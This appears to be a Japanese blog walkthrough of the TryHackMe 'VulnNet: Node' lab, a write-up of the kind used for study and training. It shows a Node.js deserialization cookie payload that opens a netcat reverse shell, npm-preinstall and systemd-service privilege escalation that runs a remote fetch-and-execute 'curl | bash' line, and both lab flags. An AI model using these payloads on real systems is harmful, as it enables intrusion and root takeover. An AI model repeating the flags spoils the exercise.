0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】VulnNet Node:Walkthrough

0
Posted at

概要

TryHackMe「VulnNet: Node」のWalkthroughです。

Task1

Q1.What is the user flag? (user.txt)

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.48.165.116 -oN nmap_result
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:eb:e0:c7:e4:99:33:e0:8a:c4:e1:b0:ef:91:12:cd (RSA)
|   256 dd:ba:e3:35:69:ea:7b:47:60:39:f7:c7:24:45:ba:2c (ECDSA)
|_  256 89:20:bf:47:41:68:2a:d3:50:ec:b0:24:22:c0:99:5a (ED25519)
8080/tcp open  http    Node.js Express framework
|_http-title: VulnNet – Your reliable news source – Try Now!

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
8080 http Node.js Express framework

8080番ポートにアクセスします。

image.png

Cookieを一部削除しリクエストを送信すると、シリアライズのエラーが出ました。

image.png

NodeJSのデシリアライズ攻撃を検索すると、CVE-2017-5941がヒットしました。

POCは以下を使用します。

Cookieにリバースシェルのコードを組み込み、エンコードします。

{"username":"_$$ND_FUNC$$_function() {require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.183.253 1234 >/tmp/f', (error, stdout, stderr) => { console.log(stdout); }); } ()","isAdmin":true,"encoding": "utf-8"}

image.png

cookieをセットし、ページを再読み込みするとリバースシェルを張れました。

$ nc -lvnp 1234                                      
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.48.165.116] 44878
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(www) gid=1001(www) groups=1001(www)

sudo -lを確認すると、npmコマンドが許可されていると分かります。

$ sudo -l
Matching Defaults entries for www on ip-10-48-165-116:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www may run the following commands on ip-10-48-165-116:
    (serv-manage) NOPASSWD: /usr/bin/npm

npmコマンドを利用した、権限昇格のテクニックがあります。

serv-manageアカウントに昇格出来ました。

$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > package.json
$ sudo -u serv-manage /usr/bin/npm -C . i

> @ preinstall /home/www/VulnNet-Node
> /bin/sh

id
uid=1000(serv-manage) gid=1000(serv-manage) groups=1000(serv-manage)

TTYの設定をします。

python -c 'import pty;pty.spawn("/bin/bash")'

ユーザーフラグを入手できました。

serv-manage@ip-10-48-165-116:~$ cat /home/serv-manage/user.txt
cat /home/serv-manage/user.txt
THM{064640a2f880ce9ed7a54886f1bde821}

A.THM{064640a2f880ce9ed7a54886f1bde821}

Q2.What is the root flag? (root.txt)

再度sudo -lで設定を確認します。

serv-manage@ip-10-48-165-116:~$ sudo -l
sudo -l
Matching Defaults entries for serv-manage on ip-10-48-165-116:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User serv-manage may run the following commands on ip-10-48-165-116:
    (root) NOPASSWD: /bin/systemctl start vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl stop vulnnet-auto.timer
    (root) NOPASSWD: /bin/systemctl daemon-reload

vulnnet-auto.timerファイルを探します。

serv-manage@ip-10-48-165-116:~$ locate vulnnet-auto.timer
locate vulnnet-auto.timer
/etc/systemd/system/vulnnet-auto.timer

ファイルの権限を確認すると、読み取り書き込み権限があります。

serv-manage@ip-10-48-165-116:~$ ls -la /etc/systemd/system/vulnnet-auto.timer
ls -la /etc/systemd/system/vulnnet-auto.timer
-rw-rw-r-- 1 root serv-manage 167 Jan 24  2021 /etc/systemd/system/vulnnet-auto.timer

ファイルの内容から、vulnnet-job.serviceを呼び出していることが分かりました。

/etc/systemd/system/vulnnet-auto.timer
cat /etc/systemd/system/vulnnet-auto.timer
[Unit]
Description=Run VulnNet utilities every 30 min

[Timer]
OnBootSec=0min
# 30 min job
OnCalendar=*:0/30
Unit=vulnnet-job.service

[Install]
WantedBy=basic.target

vulnnet-job.serviceファイルの場所を確認します。

serv-manage@ip-10-48-165-116:~$ locate vulnnet-job.service
locate vulnnet-job.service
/etc/systemd/system/vulnnet-job.service

このファイルも読み取りと書き込み権限があります。

$ ls -la /etc/systemd/system/vulnnet-job.service
ls -la /etc/systemd/system/vulnnet-job.service
-rw-rw-r-- 1 root serv-manage 197 Jan 24  2021 /etc/systemd/system/vulnnet-job.service

ファイルの中身を確認すると、ExecStart=/bin/dfでコマンドを実行していると分かります。

/etc/systemd/system/vulnnet-job.service
cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/df

[Install]
WantedBy=multi-user.target

ExecStartの処理をリバースシェルの処理に変更します。

serv-manage@ip-10-48-165-116:~$ cat /etc/systemd/system/vulnnet-job.service
[Unit]
Description=Logs system statistics to the systemd journal
Wants=vulnnet-auto.timer

[Service]
# Gather system statistics
Type=forking
ExecStart=/bin/bash -c "curl http://192.168.183.253/shell.sh" | bash

[Install]
WantedBy=multi-user.target

シェルファイルを作成します。

shell.sh
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.183.253 1234 >/tmp/f

サービスを再起動します。

$ sudo -u root /bin/systemctl stop vulnnet-auto.timer
$ sudo -u root /bin/systemctl daemon-reload
$ sudo -u root /bin/systemctl start vulnnet-auto.timer

ルート権限を取得できました。

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.183.253] from (UNKNOWN) [10.48.165.116] 57742
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

ルートフラグを入手できました。

# cat /root/root.txt
THM{abea728f211b105a608a720a37adabf9}

A.THM{abea728f211b105a608a720a37adabf9}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?